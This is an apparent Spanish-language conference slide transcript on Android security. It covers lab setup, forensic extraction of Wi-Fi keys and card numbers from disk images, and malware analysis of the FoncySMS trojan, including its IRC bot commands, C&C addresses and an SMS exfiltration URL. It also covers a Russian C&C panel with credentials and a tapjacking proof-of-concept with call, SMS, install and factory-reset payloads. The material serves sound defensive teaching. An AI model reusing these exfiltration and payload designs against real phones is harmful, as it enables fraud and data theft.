Download Pimp your Android - Internet Security Auditors

Document related concepts
no text concepts found
Transcript
Pimp your Android
Sebastián Guerrero – [email protected]
Agenda
• Introducción
• Montando lab de investigación.
• Trasteando con aplicaciones.
• Análisis forense.
• Formar un zoológico de malware.
• Evolución del malware.
• Medidas de seguridad.
• Reverseemos algo nuevo.
• Desmantelando un C&C
• It’s 0-day time.
2
Arquitectura
Fichero APK
• Es un fichero .zip falso
• Usado para empacar las aplicaciones
• Todo APK incluye:
• classes.dex
• resources.asc
• /res
• /META-INF
• AndroidManifest.xml
AndroidManifest
Montando un laboratorio
• Utilizar la ISO Android Reverse Engineering (A.R.E.)
•
•
•
Herramientas como Androguard, APKInspector, Apktool, AxmlPrinter, Dex2Jar, etc…
Espacio de trabajo ya configurado.
Ideal para máquinas virtuales.
• Utilizar uno de los ports de Androix-x86.
•
•
•
•
Proyecto OpenSource.
Sistema operativo Android.
Entorno fácilmente configurable.
Fluidez.
• Crearnos un lab a nuestra medida.
p
ndroid SDK
Trasteando con aplicaciones
JD-gui
nderstand
netbeans
mali
wireshark roguArd
Eclipse
ex2jar
aksmali
Montando un análisis dinámico
1.
Creamos una máquina virtual usando el SDK.
2.
Lanzamos el emulador y almacenamos las conexiones en un pcap:
•
3.
Instalamos la aplicación
•
4.
adb shell monkey –v –p package.app n
Leemos los logs
•
6.
adb install appname.apk
Lanzamos pruebas sobre el dispositivo y la aplicación
•
5.
emulator –port n @device-name –tcpdump foo.pcap
adb shell logcat –d
Podemos apoyarnos en Wireshark para leer los logs de conexiones.
Simulando eventos
•
Llamadas de teléfono
•
•
•
•
SMS
•
•
sms send prefix-number text
Emular velocidad de red
•
•
•
gsm call p-n
gsm accept p-n
gsm cancel p-n
netspeed gsm n
netspeed umts n
Cambiar coordenadas GPS
•
geo fix -13… 21…
Modus Operandi
1.
AXMLPrinter2 – Extraemos la información del
AndroidManifest.xml
2.
Dex2jar – Convertimos el fichero .dex en un fichero
de clases .jar.
JAD – Transformamos los ficheros .class en ficheros .jad
3.
JDgui – Leemos el código almacenado en el fichero
.jar.
4.
Understand – Análisis estático del código.
5.
Wireshark – Análisis dinámico del código.
Analizando la memoria
• Trabajamos con arquitectura ARM
• Dividida en cinco capas distintas
• Cada modelo es diferente, con aplicaciones específicas.
• Herramientas de pago.
• ¿Qué podemos toquetear aquí?
–
–
–
Tarjeta SIM.
Memoria física (Interna&Externa).
Memoria volátil.
(1) Proyecto Android-x86 http://www.android-x86.org/
Analizando la memoria
•
¿Qué requisitos necesito?
–
–
–
•
•
Indispensable ser root en el teléfono:
Tener disponible el Android Debug Driver (ADB)
Es recomendable tener instalado un servicio SSH o FTP
¿Por dónde empiezo?
–
–
Conocer cómo está estructurado el sistema.
Saber cuáles son los directorios asociados a los diferentes puntos de montaje.
–
Realizar la correlación (NanDroid || (DD && ADB pull))
¿Qué técnicas empleo?
–
–
–
–
Uso de strings y búsqueda de cadenas.
Análisis de las bases de datos.
File carving.
Análisis del sistema de ficheros.
Tarjeta SIM
•
Información a obtener
•
•
•
•
•
Número IMSI.
Información sobre localización.
Información sobre tráfico SMS.
Información sobre proveedor.
Información sobre llamadas.
•
Dispositivo DEKART (35€ ~ 60€)
•
Características
•
•
•
•
Dispositivo lectura/escritura USB.
Hace copias de seguridad.
Permite exportar la agenda
Aplicaciones
•
•
•
•
MOBILedit!
Forensic Card Reader
Oxygen
USIM Detective.
Una de strings
• Claves WiFi
– strings userdata.img | grep psk=
• Correos electrónicos
– strings userdata.img | egrep “[a-z A-Z_\-\.]+@[a-z A-Z\-\.]+\.[a-z A-Z\-\.]+”
• Imágenes JPG
–
strings data.img | grep -oE "(.*\.jpe?g|.*\.JPE?G)"
• Inicios de sesión
–
Strings userdata.img | grep –n10 “login”
• Números de teléfono
–
strings userdata.img | grep -oE "([0-9]{9})"
• Tarjetas de crédito
– strings userdata.img | grep -oE "^((4\d{3})|(5[1-5]\d{2})|(6011))-?\d{4}-?\d{4}?\d{4}|3[4,7]\d{13}$"
Una de BBDDs
•
Constituye un alto porcentaje del análisis forense.
•
Toda la información relevante y sensible se encuentra almacenada en estos
ficheros.
•
Suelen encontrarse en /data/data
•
Backup con adb pull / SSH / FTP / Terminal Emulator…
•
Consultamos con SQLite3 / SQLviewer…
Encryp… What the fcuk!
•
Llamadas realizadas (com.android.providers.contacts/databases – contacts2.db)
•
Mensajes (com.android.providers.telephony/databases – mmssms.db)
•
Whatsapp (com.whatsapp/databases - mgstore.db – wa.db)
•
Tuenti
Encryp… What the fcuk!
•
Configuración de email (com.google.android.email/databases – EmailProvider.db)
•
Delicious (Fichero xml)
•
Facebook
La memoria volátil
•
Debemos de realizar sin tratar de alterar el estado actual del dispositivo.
–
–
–
–
No podemos apagar o reiniciar el terminal.
Nada de instalar o eliminar aplicaciones.
Cortar todo tipo de acceso a la red.
Modo avión.
•
Necesitamos ser root.
•
No disponemos de ninguna API que permita realizar esta labor.
•
¿Soluciones?
–
–
No es posible acceder a /dev/mem por problemas de seguridad.
Emular dispositivo en /dev/fmem no es posible en Android
•
•
•
Función page_is_ram para comprobar si el desplazamiento a realizar pertenece a la memoria física o no, no existe en arquitectura
ARM.
La herramienta DD sólo almacena enteros de 32 bits y desplazamientos más allá de 0x80000000 causan un integer overflow
Volatilitux al poder
Volatilitux
•
Pslist – Listado de los procesos que andan ejecutándose en memoria
•
Memmap – Mapa de memoria de un proceso.
•
•
•
Memdmp – Memoria direccionable de un proceso.
Filedmp – Dumpea un fichero abierto
Filelist – Muestra ficheros abiertos para un proceso dado
Si pierdes el teléfono…
Montando SelwoMarina
• Android Market
• Markets alternativos.
–
–
–
Aptoide
Blapkmarket
snappzmarket
• Páginas de aplicaciones.
–
–
–
–
–
•
•
Mobilism.org
DroidAppz
AndroidFreeware
MalwareDump
Bazaar
Aplicaciones de terceros
Exploits
Montando Selwomarina
• Organización de información
•
•
•
•
•
Almacenamiento y búsqueda por características de las muestras.
•
Tamaño, tipo, md5, sha1, tags, fechas…
Obtener, almacenar y recuperar elementos de las muestras.
•
Ficheros generados, Binarios desempaquetados, Exploits, cadenas embebidas.
Almacenar, buscar y devolver información sobre análisis
•
IDA Pro BD, notas de análisis, artículos y referencias, muestras de red, sistemas
Detección de firmas
Análisis automatizado
• Diseño modularizado.
• Características de análisis estático
• Soporte de múltiples análisis de malware.
• Aislamiento de entornos de análisis dinámico.
Evolución del malware
Nombre
Características
Riesgo
Nombre
AndroidOS.FakePlayer.a
Android.Basebridge
AndroidOS_Droisnake.A
Android.Uxipp
AndroidOS.FakePlayer.b
Andr/Plankton-A
AndroidOS.FakePlayer.c
Android.Jsmshider
Android.Geinimi
Android.GGTracker
Android.HongTouTou
Android.KungFu Variants
Android.Pjapps
AndroidOS_Crusewin.A
Android.DroidDream
AndroidOS_SpyGold.A
Android.BgServ
DroidDream Light Variant
Android.Zeahache
Android.Smssniffer
Android.Walkinwat
Android.HippoSMS
Android.Adsms
Android.Fokonge
Android.Zsone
Android/Sndapps.A
Android.Spacem
Android.Nickispy
Android.LightDD
Android.Lovetrap
Android/DroidKungFu.A
Android.Premiumtext
Android.NickiBot
Características
Riesgo
Vectores de ataque
•
Amenazas basadas en aplicaciones
• Malware
• Spyware
• Amenazas de privacidad
• Vulnerabilidades en aplicaciones
•
Amenazas basadas en la web
• Phishing
• Drive-by-downloads
• Exploits en navegadores
•
Amenazas basadas en las redes
• Exploits para protocolos de red
• Wi-fi sniffing
•
Amenazas físicas
• Pérdida o robo del dispositivo
Medidas de seguridad
• Da igual si somos usuarios o una entidad corporativa.
• Los malos vienen a hacer daño.
• Tenemos un tesoro entre nuestras manos.
• Somos el eslabón débil.
• Toda nuestra vida online (emails, banca, redes sociales, privacidad) está en
nuestro teléfono.
Medidas de seguridad
•
Canal de comunicación a través de VPN y enrutar todo el tráfico.
•
Implementar política de contraseñas fuerte.
•
Deshabilitar servicios y dispositivos inseguros/innecesarios
(GPS/Bluetooth/SDCard/etc…).
•
Capas de seguridad adicionales
• Herramientas de privacidad, antivirus, borrado remoto, localización por GPS.
•
Deshabilitar instalación de software de terceros.
•
Habilitar servicios de acceso remoto; SSH, FTP, DropBear, etc…
Analizando algo nuevo
• Android.FoncySMS
• Kaspersky
• Risk Level 1: Muy bajo
• Descubierto: 15 Enero, 2012
• Actualizado: 30 Enero, 2012
• Actividad: com.android.bot
• Descargas: 3370~
Información
• Investigada por la OCLCTIC.
• Investigación durante 2 meses.
• “Banda” compuesta por dos miembros (“Cerebro” y técnico).
• Envía SMS premium (4.5€).
• 100.000€ 20/30€ por cabeza.
• Se ha cobrado 2.000 víctimas desde verano del 2011.
• Ciudades europeas y Canadá.
Lista de permisos
•
•
•
•
•
•
•
•
•
•
•
android.permission.READ_LOGS
android.permission.READ_PHONE_STATE
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.INTERNET
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.CHANGE_NETWORK_STATE
android.permission.ACCESS_NETWORK_STATE
android.permission.MODIFY_AUDIO_SETTINGS
com.android.vending.CHECK_LICENSE
Instalando la app
• Iniciar emulador
• Instalar la aplicación.
• Revisar el estado actual.
• Simular actividad.
• Observar el nuevo estado.
• Analizar
Primer acercamiento
Preparando el terreno
Estructura de la aplicación
•
Tras la ejecución inicial…
•
Boomsh – ELF -32 bits LSB executable, ARM version 1 (SYSV), dynamically linked (uses shared library).
•
Border01.png – Zip archive data.
•
Footer01.png – ELF -32 bits LSB executable, ARV version 1 (SYSV), dynamically linked (uses shared libs).
•
Header01.png – ELF – 32bits LSB executable, ARM version 1 (SYSV), dinamically linked (uses shared
library).
•
Rooted - Text file.
Footer.png
1.
Deja constancia de que el exploit ha tenido éxito.
2.
Modifica los permisos de border01 a lectura/escritura (propietario) y escritura (resto).
3.
Instala border01 lanzando el administrador de paquetes
Footer.png (Round 2)
•
•
•
•
•
•
IRCConnect – Conectar con un servidor IRC.
IRCGenUser – Genera un usuario apoyándose en rand().
IRCHandler – Manejador de errores.
IRCLogin – Establece sesión con el canal IRC.
IRCPrivmsgParse&IRCParseLine – Parsean las órdenes recibidas.
IRCSend – Realiza envío de mensajes.
Footer (La chicha)
1.
2.
3.
4.
5.
Establece conexión con 192.68.196.198.
Genera nombre de usuario al azar.
Se conecta al canal #andros.
Queda a la escucha de recibir órdenes.
Parsea las líneas que comienza por PRIVMGS
Oído cocina
• Comandos a ejecutar
– PRIVMGS #andros :[SH] - %COMMAND_TO_RUN%
– PRIVMGS #andros :[ID] - %REAL_USER_ID%
– PRIVMGS #andros :[EXIT] – exiting ordered…
Border01
• Permisos sospechosos
–
–
–
android.permission.RECEIVE_SMS
android.permission.SEND_SMS
android.permission.INTERNET
AndroidMeActivity
1.
Al iniciar la actividad se solicita el código ISO de la ciudad.
2.
En base a esto, se establece un número premium u otro.
3.
Se realizan 5 envíos a dicho número.
•
Ciudades a las que realiza el envío
•
•
•
•
•
•
•
•
Spain Number: 35024 Message: GOLD
Great Britain Number: 60999 Message: SP2
Morocco Number: 2052 Message: CODE
Sierra Leone Number: 7604 Message: PASS
Romania Number: 1339 Message: PASS
Norway Number: 2227 Message: PASS
Sweden Number: 72225 Message: PASS
United States Number: 23333 Message: PASS
SMSReceiver
1.
Se encarga de la lógica del envío de mensajes.
2.
Se reservan dos campos; uno para el número del destinatario y otro para el contenido.
3.
Sí el SMS provece del número 81083, 3075, 64747, 60999, 63000, 35024, 2052, 7064, 1339, 9903, 2227, 72225,
23333, el broadcast se corta.
4.
Establece conexión con 46.166.146.102 y envía el SMS recibido y el número de origen.
1.
http://46.166.146.102/?=STR2(cuerpo mensaje)///STR1(número)
IRC Botnet
•
•
•
•
Servidor: Irc.anonops.li / 6667
Canal: #xxx
User: user
Pass: pass
“Desmontando cúpulas”
•
¿Objetivo?
–
•
¿Qué malware?
–
•
Mostrar cómo está organizado y pensado
un pequeño y simple C&C para Android.
Simple Android SMS Trojan.
¿Funcionamiento?
1.
2.
3.
4.
Se instala en el teléfono una aplicación infectada.
Espera a que se realice la activación.
Se forma un string con el IMEI del usuario y su teléfono.
Se envía al C&C y se almacena en una BBDD.
Estructura
•
•
BBDD: admin_123/123
Panel: root/entermoney77
•
Infecta varias plataformas
–
–
–
Android: mms.apk
Symbian – Nokia s60v3, s60v5 – mms.sis
Resto de plataformas con soporte java – mms.jar
Contenido
•
Almacena la siguiente información:
–
–
–
–
–
–
–
•
•
Fecha infección.
IMEI teléfono.
OS.
IP.
País
Número
Texto
Panel en ruso y sólo registra teléfonos de Rusia.
Procedencia rusa.
TapJacking
•
•
•
Vulnerabilidad Touch-Event Hijacking
Mostramos al usuario una interfaz tapadera.
Podemos obligar al usuario a:
–
–
–
–
–
Pagarnos unas vacaciones.
Obtener todos los datos del teléfono.
Capturar los movimientos del dispositivo.
Instalar aplicaciones saltándonos los permisos.
Creatividad…
•
Basada en toasts.
•
Bueno… ¿Y Google?
Funcionamiento
¿Cómo está organizado?
•
Se han diseñado un total de 4 payloads
• CallPayload.java – Realiza llamadas al número de indicado.
•
•
•
•
MarketPayload.java – Descarga e instala aplicaciones del market.
ResetPayload.java – Devuelve al estado de fábrica el teléfono.
SMSPayload.java – Envía un mensaje de texto al número indicado.
TweetPayload.java – Publica un tweet en una cuenta de usuario con sesión iniciada.
•
http://twitter.com/home?status=Yo me he comida más de una concha Codan por día
•
Está diseñado para que se puedan añadir payloads por el usuario de forma sencilla.
•
La estructura interna es la siguiente:
• Main.java – Ejecuta el servicio y carga los payloads.
•
•
•
•
MalwarePayload.java – Abstracción para implementar más fácilmente los payloads.
MalwareService.java – Crea el toast e inicia el proceso de tap-jack.
main.xml – Tiene el layout de la aplicación, lanzando con un evento onClick cada payload.
strings.xml – Contiene las cadenas que son utilizadas en la aplicación.
¿Preguntas?
¡MUCHAS GRACIAS!
@0xroot